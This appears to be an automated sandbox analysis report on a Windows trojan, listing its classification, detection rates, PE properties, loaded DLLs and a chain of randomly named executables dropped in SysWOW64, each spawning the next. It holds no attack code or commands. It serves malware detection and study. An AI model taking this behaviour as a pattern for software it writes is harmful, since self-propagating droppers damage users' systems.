Source: C:\Windows\SysWOW64\Plgflqpn.exe	Code function: 13_2_0042B884	13_2_0042B884
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Code function: 14_2_0042B884	14_2_0042B884
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Code function: 15_2_0042B884	15_2_0042B884
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Code function: 16_2_0042B884	16_2_0042B884
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Code function: 17_2_0042B884	17_2_0042B884
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Code function: 18_2_0042B884	18_2_0042B884
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Code function: 19_2_0042B884	19_2_0042B884
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Code function: 20_2_0042B884	20_2_0042B884
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Code function: 21_2_0042B884	21_2_0042B884
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Code function: 22_2_0042B884	22_2_0042B884
Source: C:\Windows\SysWOW64\Baagdk32.exe	Code function: 23_2_0042B884	23_2_0042B884
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Code function: 24_2_0042B884	24_2_0042B884
Source: C:\Windows\SysWOW64\Ccapffke.exe	Code function: 25_2_0042B884	25_2_0042B884
Source: C:\Windows\SysWOW64\Ceampi32.exe	Code function: 26_2_0042B884	26_2_0042B884
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Code function: 27_2_0042B884	27_2_0042B884

Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Ccapffke.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Baagdk32.exe	Code function: String function: 00407EA4 appears 43 times
Source: C:\Windows\SysWOW64\Ceampi32.exe	Code function: String function: 00407EA4 appears 43 times

Source: Ojacofgb.exe.9.dr	Static PE information: Number of sections : 16 > 10
Source: Onkcje32.exe.7.dr	Static PE information: Number of sections : 16 > 10
Source: Dmfdkj32.exe.28.dr	Static PE information: Number of sections : 16 > 10
Source: Bgamkfnl.exe.17.dr	Static PE information: Number of sections : 16 > 10
Source: Camgpi32.exe.27.dr	Static PE information: Number of sections : 16 > 10
Source: Nejhbi32.exe.0.dr	Static PE information: Number of sections : 16 > 10
Source: Odekfoij.exe.8.dr	Static PE information: Number of sections : 16 > 10
Source: Cfnpmb32.exe.23.dr	Static PE information: Number of sections : 16 > 10
Source: Dnhmjm32.exe.29.dr	Static PE information: Number of sections : 16 > 10
Source: Edgbhcim.exe.31.dr	Static PE information: Number of sections : 16 > 10
Source: Cnjaioih.exe.26.dr	Static PE information: Number of sections : 16 > 10
Source: h879iieoae.exe	Static PE information: Number of sections : 16 > 10
Source: Bqjacldl.exe.18.dr	Static PE information: Number of sections : 16 > 10
Source: Bnpnbp32.exe.20.dr	Static PE information: Number of sections : 16 > 10
Source: Pqeoao32.exe.13.dr	Static PE information: Number of sections : 16 > 10
Source: Ogjdllpi.exe.1.dr	Static PE information: Number of sections : 16 > 10
Source: Ceampi32.exe.25.dr	Static PE information: Number of sections : 16 > 10
Source: Qgcpihjl.exe.14.dr	Static PE information: Number of sections : 16 > 10
Source: Bnnampcf.exe.19.dr	Static PE information: Number of sections : 16 > 10
Source: Baagdk32.exe.22.dr	Static PE information: Number of sections : 16 > 10
Source: Fhedeo32.exe.36.dr	Static PE information: Number of sections : 16 > 10
Source: Olijjb32.exe.4.dr	Static PE information: Number of sections : 16 > 10
Source: Bgibkegc.exe.21.dr	Static PE information: Number of sections : 16 > 10
Source: Fkogfkdj.exe.35.dr	Static PE information: Number of sections : 16 > 10
Source: Foaigifk.exe.38.dr	Static PE information: Number of sections : 16 > 10
Source: Oceoll32.exe.6.dr	Static PE information: Number of sections : 16 > 10
Source: Efgkjnfn.exe.33.dr	Static PE information: Number of sections : 16 > 10
Source: Ppllkpoo.exe.10.dr	Static PE information: Number of sections : 16 > 10
Source: Opbieagi.exe.2.dr	Static PE information: Number of sections : 16 > 10
Source: Plbmqa32.exe.11.dr	Static PE information: Number of sections : 16 > 10
Source: Eoappk32.exe.34.dr	Static PE information: Number of sections : 16 > 10
Source: Oeanchcn.exe.5.dr	Static PE information: Number of sections : 16 > 10
Source: Ggmnlk32.exe.39.dr	Static PE information: Number of sections : 16 > 10
Source: Emogai32.exe.32.dr	Static PE information: Number of sections : 16 > 10
Source: Oglabl32.exe.3.dr	Static PE information: Number of sections : 16 > 10
Source: Dfcboo32.exe.30.dr	Static PE information: Number of sections : 16 > 10
Source: Ccapffke.exe.24.dr	Static PE information: Number of sections : 16 > 10
Source: Feidnc32.exe.37.dr	Static PE information: Number of sections : 16 > 10
Source: Ajkolbad.exe.15.dr	Static PE information: Number of sections : 16 > 10
Source: Bmlhnnne.exe.16.dr	Static PE information: Number of sections : 16 > 10
Source: Plgflqpn.exe.12.dr	Static PE information: Number of sections : 16 > 10

Source: h879iieoae.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@80/81@0/0

Source: C:\Users\user\Desktop\h879iieoae.exe

Code function: 0_2_004017AC CoInitialize,CLSIDFromString,VirtualAlloc,CoCreateInstance,

0_2_004017AC

Source: C:\Users\user\Desktop\h879iieoae.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: h879iieoae.exe	ReversingLabs: Detection: 81%
Source: h879iieoae.exe	Virustotal: Detection: 81%

Source: C:\Users\user\Desktop\h879iieoae.exe

File read: C:\Users\user\Desktop\h879iieoae.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\h879iieoae.exe "C:\Users\user\Desktop\h879iieoae.exe"
Source: C:\Users\user\Desktop\h879iieoae.exe	Process created: C:\Windows\SysWOW64\Nejhbi32.exe C:\Windows\system32\Nejhbi32.exe
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Process created: C:\Windows\SysWOW64\Ogjdllpi.exe C:\Windows\system32\Ogjdllpi.exe
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Process created: C:\Windows\SysWOW64\Opbieagi.exe C:\Windows\system32\Opbieagi.exe
Source: C:\Windows\SysWOW64\Opbieagi.exe	Process created: C:\Windows\SysWOW64\Oglabl32.exe C:\Windows\system32\Oglabl32.exe
Source: C:\Windows\SysWOW64\Oglabl32.exe	Process created: C:\Windows\SysWOW64\Olijjb32.exe C:\Windows\system32\Olijjb32.exe
Source: C:\Windows\SysWOW64\Olijjb32.exe	Process created: C:\Windows\SysWOW64\Oeanchcn.exe C:\Windows\system32\Oeanchcn.exe
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Process created: C:\Windows\SysWOW64\Oceoll32.exe C:\Windows\system32\Oceoll32.exe
Source: C:\Windows\SysWOW64\Oceoll32.exe	Process created: C:\Windows\SysWOW64\Onkcje32.exe C:\Windows\system32\Onkcje32.exe
Source: C:\Windows\SysWOW64\Onkcje32.exe	Process created: C:\Windows\SysWOW64\Odekfoij.exe C:\Windows\system32\Odekfoij.exe
Source: C:\Windows\SysWOW64\Odekfoij.exe	Process created: C:\Windows\SysWOW64\Ojacofgb.exe C:\Windows\system32\Ojacofgb.exe
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Process created: C:\Windows\SysWOW64\Ppllkpoo.exe C:\Windows\system32\Ppllkpoo.exe
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Process created: C:\Windows\SysWOW64\Plbmqa32.exe C:\Windows\system32\Plbmqa32.exe
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Process created: C:\Windows\SysWOW64\Plgflqpn.exe C:\Windows\system32\Plgflqpn.exe
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Process created: C:\Windows\SysWOW64\Pqeoao32.exe C:\Windows\system32\Pqeoao32.exe
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Process created: C:\Windows\SysWOW64\Qgcpihjl.exe C:\Windows\system32\Qgcpihjl.exe
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Process created: C:\Windows\SysWOW64\Ajkolbad.exe C:\Windows\system32\Ajkolbad.exe
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Process created: C:\Windows\SysWOW64\Bmlhnnne.exe C:\Windows\system32\Bmlhnnne.exe
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Process created: C:\Windows\SysWOW64\Bgamkfnl.exe C:\Windows\system32\Bgamkfnl.exe
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Process created: C:\Windows\SysWOW64\Bqjacldl.exe C:\Windows\system32\Bqjacldl.exe
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Process created: C:\Windows\SysWOW64\Bnnampcf.exe C:\Windows\system32\Bnnampcf.exe
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Process created: C:\Windows\SysWOW64\Bnpnbp32.exe C:\Windows\system32\Bnpnbp32.exe
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Process created: C:\Windows\SysWOW64\Bgibkegc.exe C:\Windows\system32\Bgibkegc.exe
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Process created: C:\Windows\SysWOW64\Baagdk32.exe C:\Windows\system32\Baagdk32.exe
Source: C:\Windows\SysWOW64\Baagdk32.exe	Process created: C:\Windows\SysWOW64\Cfnpmb32.exe C:\Windows\system32\Cfnpmb32.exe
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Process created: C:\Windows\SysWOW64\Ccapffke.exe C:\Windows\system32\Ccapffke.exe
Source: C:\Windows\SysWOW64\Ccapffke.exe	Process created: C:\Windows\SysWOW64\Ceampi32.exe C:\Windows\system32\Ceampi32.exe
Source: C:\Windows\SysWOW64\Ceampi32.exe	Process created: C:\Windows\SysWOW64\Cnjaioih.exe C:\Windows\system32\Cnjaioih.exe
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Process created: C:\Windows\SysWOW64\Camgpi32.exe C:\Windows\system32\Camgpi32.exe
Source: C:\Windows\SysWOW64\Camgpi32.exe	Process created: C:\Windows\SysWOW64\Dmfdkj32.exe C:\Windows\system32\Dmfdkj32.exe
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	Process created: C:\Windows\SysWOW64\Dnhmjm32.exe C:\Windows\system32\Dnhmjm32.exe
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	Process created: C:\Windows\SysWOW64\Dfcboo32.exe C:\Windows\system32\Dfcboo32.exe
Source: C:\Windows\SysWOW64\Dfcboo32.exe	Process created: C:\Windows\SysWOW64\Edgbhcim.exe C:\Windows\system32\Edgbhcim.exe
Source: C:\Windows\SysWOW64\Edgbhcim.exe	Process created: C:\Windows\SysWOW64\Emogai32.exe C:\Windows\system32\Emogai32.exe
Source: C:\Windows\SysWOW64\Emogai32.exe	Process created: C:\Windows\SysWOW64\Efgkjnfn.exe C:\Windows\system32\Efgkjnfn.exe
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	Process created: C:\Windows\SysWOW64\Eoappk32.exe C:\Windows\system32\Eoappk32.exe
Source: C:\Windows\SysWOW64\Eoappk32.exe	Process created: C:\Windows\SysWOW64\Fkogfkdj.exe C:\Windows\system32\Fkogfkdj.exe
Source: C:\Windows\SysWOW64\Fkogfkdj.exe	Process created: C:\Windows\SysWOW64\Fhedeo32.exe C:\Windows\system32\Fhedeo32.exe
Source: C:\Windows\SysWOW64\Fhedeo32.exe	Process created: C:\Windows\SysWOW64\Feidnc32.exe C:\Windows\system32\Feidnc32.exe
Source: C:\Windows\SysWOW64\Feidnc32.exe	Process created: C:\Windows\SysWOW64\Foaigifk.exe C:\Windows\system32\Foaigifk.exe
Source: C:\Users\user\Desktop\h879iieoae.exe	Process created: C:\Windows\SysWOW64\Nejhbi32.exe C:\Windows\system32\Nejhbi32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Process created: C:\Windows\SysWOW64\Ogjdllpi.exe C:\Windows\system32\Ogjdllpi.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Process created: C:\Windows\SysWOW64\Opbieagi.exe C:\Windows\system32\Opbieagi.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Opbieagi.exe	Process created: C:\Windows\SysWOW64\Oglabl32.exe C:\Windows\system32\Oglabl32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Oglabl32.exe	Process created: C:\Windows\SysWOW64\Olijjb32.exe C:\Windows\system32\Olijjb32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Olijjb32.exe	Process created: C:\Windows\SysWOW64\Oeanchcn.exe C:\Windows\system32\Oeanchcn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Process created: C:\Windows\SysWOW64\Oceoll32.exe C:\Windows\system32\Oceoll32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Oceoll32.exe	Process created: C:\Windows\SysWOW64\Onkcje32.exe C:\Windows\system32\Onkcje32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Onkcje32.exe	Process created: C:\Windows\SysWOW64\Odekfoij.exe C:\Windows\system32\Odekfoij.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Odekfoij.exe	Process created: C:\Windows\SysWOW64\Ojacofgb.exe C:\Windows\system32\Ojacofgb.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Process created: C:\Windows\SysWOW64\Ppllkpoo.exe C:\Windows\system32\Ppllkpoo.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Process created: C:\Windows\SysWOW64\Plbmqa32.exe C:\Windows\system32\Plbmqa32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Process created: C:\Windows\SysWOW64\Plgflqpn.exe C:\Windows\system32\Plgflqpn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Process created: C:\Windows\SysWOW64\Pqeoao32.exe C:\Windows\system32\Pqeoao32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Process created: C:\Windows\SysWOW64\Qgcpihjl.exe C:\Windows\system32\Qgcpihjl.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Process created: C:\Windows\SysWOW64\Ajkolbad.exe C:\Windows\system32\Ajkolbad.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Process created: C:\Windows\SysWOW64\Bmlhnnne.exe C:\Windows\system32\Bmlhnnne.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Process created: C:\Windows\SysWOW64\Bgamkfnl.exe C:\Windows\system32\Bgamkfnl.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Process created: C:\Windows\SysWOW64\Bqjacldl.exe C:\Windows\system32\Bqjacldl.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Process created: C:\Windows\SysWOW64\Bnnampcf.exe C:\Windows\system32\Bnnampcf.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Process created: C:\Windows\SysWOW64\Bnpnbp32.exe C:\Windows\system32\Bnpnbp32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Process created: C:\Windows\SysWOW64\Bgibkegc.exe C:\Windows\system32\Bgibkegc.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Process created: C:\Windows\SysWOW64\Baagdk32.exe C:\Windows\system32\Baagdk32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Baagdk32.exe	Process created: C:\Windows\SysWOW64\Cfnpmb32.exe C:\Windows\system32\Cfnpmb32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Process created: C:\Windows\SysWOW64\Ccapffke.exe C:\Windows\system32\Ccapffke.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Ccapffke.exe	Process created: C:\Windows\SysWOW64\Ceampi32.exe C:\Windows\system32\Ceampi32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\Ceampi32.exe	Process created: C:\Windows\SysWOW64\Cnjaioih.exe C:\Windows\system32\Cnjaioih.exe
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Process created: C:\Windows\SysWOW64\Camgpi32.exe C:\Windows\system32\Camgpi32.exe
Source: C:\Windows\SysWOW64\Camgpi32.exe	Process created: C:\Windows\SysWOW64\Dmfdkj32.exe C:\Windows\system32\Dmfdkj32.exe
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	Process created: C:\Windows\SysWOW64\Dnhmjm32.exe C:\Windows\system32\Dnhmjm32.exe
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	Process created: C:\Windows\SysWOW64\Dfcboo32.exe C:\Windows\system32\Dfcboo32.exe
Source: C:\Windows\SysWOW64\Dfcboo32.exe	Process created: C:\Windows\SysWOW64\Edgbhcim.exe C:\Windows\system32\Edgbhcim.exe
Source: C:\Windows\SysWOW64\Edgbhcim.exe	Process created: C:\Windows\SysWOW64\Emogai32.exe C:\Windows\system32\Emogai32.exe
Source: C:\Windows\SysWOW64\Emogai32.exe	Process created: C:\Windows\SysWOW64\Efgkjnfn.exe C:\Windows\system32\Efgkjnfn.exe
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	Process created: C:\Windows\SysWOW64\Eoappk32.exe C:\Windows\system32\Eoappk32.exe
Source: C:\Windows\SysWOW64\Eoappk32.exe	Process created: C:\Windows\SysWOW64\Fkogfkdj.exe C:\Windows\system32\Fkogfkdj.exe
Source: C:\Windows\SysWOW64\Fkogfkdj.exe	Process created: C:\Windows\SysWOW64\Fhedeo32.exe C:\Windows\system32\Fhedeo32.exe
Source: C:\Windows\SysWOW64\Fhedeo32.exe	Process created: C:\Windows\SysWOW64\Feidnc32.exe C:\Windows\system32\Feidnc32.exe
Source: C:\Windows\SysWOW64\Feidnc32.exe	Process created: C:\Windows\SysWOW64\Foaigifk.exe C:\Windows\system32\Foaigifk.exe
Source: C:\Windows\SysWOW64\Foaigifk.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\h879iieoae.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\h879iieoae.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\h879iieoae.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Users\user\Desktop\h879iieoae.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Opbieagi.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Opbieagi.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Opbieagi.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Opbieagi.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oglabl32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oglabl32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oglabl32.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oglabl32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Olijjb32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Olijjb32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Olijjb32.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Olijjb32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oceoll32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oceoll32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oceoll32.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Oceoll32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Onkcje32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Onkcje32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Onkcje32.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Onkcje32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Odekfoij.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Odekfoij.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Odekfoij.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Odekfoij.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Section loaded: ntmarta.dll	Jump to behavior
